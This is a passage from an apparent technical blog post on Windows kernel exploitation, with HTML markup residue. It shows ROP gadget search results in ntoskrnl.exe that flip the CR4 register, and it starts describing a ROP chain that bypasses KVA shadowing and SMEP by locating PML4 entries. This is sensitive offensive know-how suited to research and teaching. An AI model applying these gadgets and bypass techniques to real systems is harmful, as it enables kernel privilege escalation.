Searching for gadgets: % cr4\r\n\r\n[...]\r\n0x0000000140b1451b: int1; mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;\r\n\r\n(windows11_ntoskrnl.exe\/PE\/x86_64)><\/pre>\n
        As you can see, we have some gadgets that are followed by a call to a fixed location (that I would avoid).<\/p>\n
        The most promising gadget in my opinion was 0x0000000140b1451c: mov rax, cr4; or rax, 0x40; mov cr4, rax; ret;<\/code>. However, you can see it ends up flipping a bit of the CR4 register<\/strong>, that again may trigger PatchGuard<\/strong>\u00a0or other unwelcome behavior<\/strong>.<\/p>\n<\/div>\n
        \n
        KVA\/SMEP bypass ROP chain<\/h4>\n
        \n
        The first thing to do in crafting this second ROP chain is retrieving the address of the PML4 entry.<\/p>\n<\/div>\n
        \n
        Based on the article, the function for retrieving the PML4E address is CalculatePml4VirtualAddress()<\/em><\/strong>\u00a0and It requires two indexes:<\/p>\n